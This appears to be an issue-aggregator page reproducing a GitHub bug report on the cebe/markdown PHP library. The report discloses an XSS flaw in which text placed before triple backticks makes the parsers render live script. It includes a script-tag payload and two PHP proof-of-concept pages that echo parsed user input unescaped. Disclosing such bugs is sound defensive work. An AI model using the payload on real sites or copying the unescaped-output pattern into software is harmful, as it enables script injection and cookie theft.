Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

Inconsistent behavior of multiple backticks

Open
#166 29 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
25/100
Issue type
Bug
Clarity
Needs clarification
Activity status
Stale
Tech stack
php
Domain
backend, security

Research direction

Start by reproducing the supplied PoC against GithubMarkdown, Markdown, and MarkdownExtra, then inspect the parser paths handling multiple backticks. No repository file or test is named in the issue. Done means the crafted payload no longer renders executable script content in any of the three parsers, with regression coverage added for the reported cases.

Written by the indexing model from the issue text.

Description

bug

Issue

There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:

  • GithubMarkdown
  • Markdown
  • MarkdownExtra

How?

The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:

craftedpayloads

And here is an image of the payloads rendered:

renderedpayloads

As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a .md file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:

runningthescript

Impact

Doing a quick search on Github for the code that enables your parser: new \cebe\markdown\. I get this many results:

parserenable

The vulnerability can be either stored using an .md file (README for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:

cookiestealer

This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.

Proof of Concept

User input

You can use the following code for a PoC on user entered text:

<?php
/*
 * to run this PoC do the following:
 * composer require cebe/markdown "~1.2.0"
 *
 * For proof that the markdown is not sent as a script do:
 * `<script>alert(1);</script>`
 * this will output the script in a safe way.
 *
 * To make an alert do:
 * L: ```<script>alert(1);</script>```
 * this will display a rendered alert
 * */
include 'vendor/autoload.php';

function parseData($data) {
    $parserGithub = new cebe\markdown\GithubMarkdown();
    $parserMarkdown = new cebe\markdown\Markdown();
    $parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
    return [
        "<div class='parsed-github'>".$parserGithub->parse($data)."</div>",
        "<div class='parsed-markdown'>".$parserMarkdown->parse($data)."</div>",
        "<div class='parsed-markdown-extra'>".$parserMarkdownExtra->parse($data)."</div>"
    ];
}

if (isset($_GET['poc'])) {
    $parsed = parseData($_GET['poc']);
    echo "<!doctype html>
<title>PoC</title>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
    echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#'>
<label for='markdown-poc'>Markdown: </label>
<input id='markdown-poc' type='text' name='poc'>
<input type='submit' name='Submit'>
</form>
</body>";
}
MD file

And you can use the following code for a PoC on text read from an MD file:

<?php
/*
 * to use this PoC you will need composer to require the library:
 * `composer require cebe/markdown "~1.2.0"`
 *
 * After this has been done you can create an MD file anywhere on your system,
 * to verify that the parser to render the data in a safe way use `<script>alert(1);</script>`,
 * or whatever script you decide to use
 *
 * In order to get the data rendered as javascript:
 * L: ```<script>alert();</script>``` or whatever script you decide to render
 * */
include 'vendor/autoload.php';

function renderFileContent($fname) {
    return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
    $tmpName = $_FILES['poc']['tmp_name'];
    $contents = renderFileContent($tmpName);
    $parserGithub = new cebe\markdown\GithubMarkdown();
    $parserMarkdown = new cebe\markdown\Markdown();
    $parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
    $dataGithub = $parserGithub->parse($contents);
    $dataMarkdown = $parserMarkdown->parse($contents);
    $dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
    $parsed = [
        "<div class='parsed-github'>" . $parserGithub->parse($dataGithub) . "</div>",
        "<div class='parsed-markdown'>" . $parserMarkdown->parse($dataMarkdown) . "</div>",
        "<div class='parsed-markdown-extra'>" . $parserMarkdownExtra->parse($dataMarkdownExtra) . "</div>"
    ];
    echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
    echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#' method='post' enctype='multipart/form-data'>
<span>Upload file:</span>
<input type='file' name='poc'>
<input type='submit' name='upload' value='Upload'>
</form>
</body>
";
}
Dominant language
HTML
Stars
1k
Forks
137
PR merge metrics
No merged PRs in 30d

Getting set up

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from cebe/markdown

All issues in cebe/markdown

Similar issues

More Backend & API Design issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.